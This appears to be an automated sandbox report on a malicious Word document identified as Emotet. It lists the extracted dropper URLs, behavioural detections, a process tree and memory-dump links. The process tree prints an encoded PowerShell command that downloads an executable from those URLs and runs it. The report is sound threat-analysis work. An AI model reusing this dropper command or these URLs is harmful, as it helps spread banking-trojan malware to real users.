Overview

overview

10

Static

static

8

IO_9119540...01.doc

windows7_x64

10

IO_9119540...01.doc

windows10_x64

10

Analysis

  • max time kernel
    142s
  • max time network
    143s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    28/07/2020, 11:40

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    IO_9119540846420301801.doc
  • Size 171KB
  • Sample200728-4y6lftrdlj
  • SHA256 dcab281c030ca8ebd833b95d2379df634eec571e1ae19b6aad70ae1a0eb2e07e
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    https://laboratbahasa.com/wp-admin/2_5jqn_7bc/
  • exe.dropper

    http://www.interibericos.com/mantenimiento/epkxx_b4_xca/
  • exe.dropper

    http://yeandle.co.uk/5t34_ipz_2/
  • exe.dropper

    http://www.wiredmoney.net/wp-includes/9abj_oppb_75xez1i3c0/
  • exe.dropper

    http://www.worldhealthtourismcongress.org/images/nuv7_e9z9x_etch/

Signatures

  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious use of SetWindowsHookEx 16 IoCs
  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Emotet Payload 2 IoCs

    Detects Emotet payload in memory.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\IO_9119540846420301801.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Suspicious use of SetWindowsHookEx
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    PID:60
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JAB6AGUAZQBjAGgAcQB1AG8AaQBkAGoAbwBlAG4APQAnAGcAaQBlAGwAdgBlAGkAZwBiAGUAZQBnAHYAbwBhAGMAaAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYwB1AFIAaQBgAFQAWQBgAHAAUgBPAFQAYABvAGMAbwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAYwBoAG8AdQBmAHgAZQBhAHYAIAA9ACAAJwA1ADYANQAnADsAJAB5AG8AYQBqAGcAdQB1AGwAdgBvAGEAdgA9ACcAYwBlAGUAawBjAGgAZQBvAHEAdQBjAG8AYQB5AHQAZQB1AGwAJwA7ACQAYgBhAGwAbABvAHAAYgBpAGUAegBqAGkAYwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAYwBoAG8AdQBmAHgAZQBhAHYAKwAnAC4AZQB4AGUAJwA7ACQAcQB1AGEAZwBoAHUAYQBuAD0AJwB3AGEAdQBjAGgAYwBoAGEAZQBjAGgAJwA7ACQAcgBpAGgAZgBhAGUAcAA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBFAFQALgBXAEUAYgBjAEwAaQBFAE4AdAA7ACQAeQB1AHUAYwBuAGUAYQB3AGcAdQBhAGQAegBvAHkAPQAnAGgAdAB0AHAAcwA6AC8ALwBsAGEAYgBvAHIAYQB0AGIAYQBoAGEAcwBhAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwAyAF8ANQBqAHEAbgBfADcAYgBjAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AaQBuAHQAZQByAGkAYgBlAHIAaQBjAG8AcwAuAGMAbwBtAC8AbQBhAG4AdABlAG4AaQBtAGkAZQBuAHQAbwAvAGUAcABrAHgAeABfAGIANABfAHgAYwBhAC8AKgBoAHQAdABwADoALwAvAHkAZQBhAG4AZABsAGUALgBjAG8ALgB1AGsALwA1AHQAMwA0AF8AaQBwAHoAXwAyAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AdwBpAHIAZQBkAG0AbwBuAGUAeQAuAG4AZQB0AC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AOQBhAGIAagBfAG8AcABwAGIAXwA3ADUAeABlAHoAMQBpADMAYwAwAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AdwBvAHIAbABkAGgAZQBhAGwAdABoAHQAbwB1AHIAaQBzAG0AYwBvAG4AZwByAGUAcwBzAC4AbwByAGcALwBpAG0AYQBnAGUAcwAvAG4AdQB2ADcAXwBlADkAegA5AHgAXwBlAHQAYwBoAC8AJwAuACIAUwBQAGwAYABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABmAGEAbwB0AHcAbwBvAGIAPQAnAGQAaQBhAHAAeQBlAG8AdwBtAGUAYQBnAGoAYQB1AHQAaAAnADsAZgBvAHIAZQBhAGMAaAAoACQAcwBpAGUAbQBjAGgAZQBhAHMAIABpAG4AIAAkAHkAdQB1AGMAbgBlAGEAdwBnAHUAYQBkAHoAbwB5ACkAewB0AHIAeQB7ACQAcgBpAGgAZgBhAGUAcAAuACIAZABgAG8AVwBuAEwAYABPAEEARABGAGkAYABsAEUAIgAoACQAcwBpAGUAbQBjAGgAZQBhAHMALAAgACQAYgBhAGwAbABvAHAAYgBpAGUAegBqAGkAYwApADsAJABiAHUAYQB2AHgAbwBvAGMAegBpAHYAPQAnAGgAaQBhAGMAcwBlAGEAegBmAHUAYQBkACcAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQAYgBhAGwAbABvAHAAYgBpAGUAegBqAGkAYwApAC4AIgBsAEUATgBgAEcAVABIACIAIAAtAGcAZQAgADIAMQAwADkANQApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAYwByAGUAQQBgAFQARQAiACgAJABiAGEAbABsAG8AcABiAGkAZQB6AGoAaQBjACkAOwAkAGMAaABpAGEAZwByAGUAaQBjAGgAdgBhAGUAZAA9ACcAeQB1AGEAYgB5AGUAaQB4ACcAOwBiAHIAZQBhAGsAOwAkAGgAZQBmAGYAaQBmAHkAaQBvAHMAYwBoAGEAaQBwAD0AJwBzAGkAZQB5AGgAYQBvAHEAdQB0AGgAYQBpAG0AdABoAGUAZQBuACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAGoAZQBpAHEAdQB2AGkAYQBtAGYAaQBrAD0AJwB2AG8AZQByAG0AZQB1AGwAYwBoAGUAYgAnAA==
    1⤵
    • Blacklisted process makes network request
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    PID:3720
  • C:\Users\Admin\565.exe
    C:\Users\Admin\565.exe
    1⤵
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:3756
    • C:\Windows\SysWOW64\pcwum\glu32.exe
      "C:\Windows\SysWOW64\pcwum\glu32.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      PID:3740

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/60-2-0x0000019F29716000-0x0000019F2971B000-memory.dmp
        Download

        memory/60-3-0x0000019F29716000-0x0000019F2971B000-memory.dmp
        Download

        memory/3740-13-0x0000000002160000-0x000000000216C000-memory.dmp
        Download

        memory/3756-10-0x0000000000760000-0x000000000076C000-memory.dmp
        Download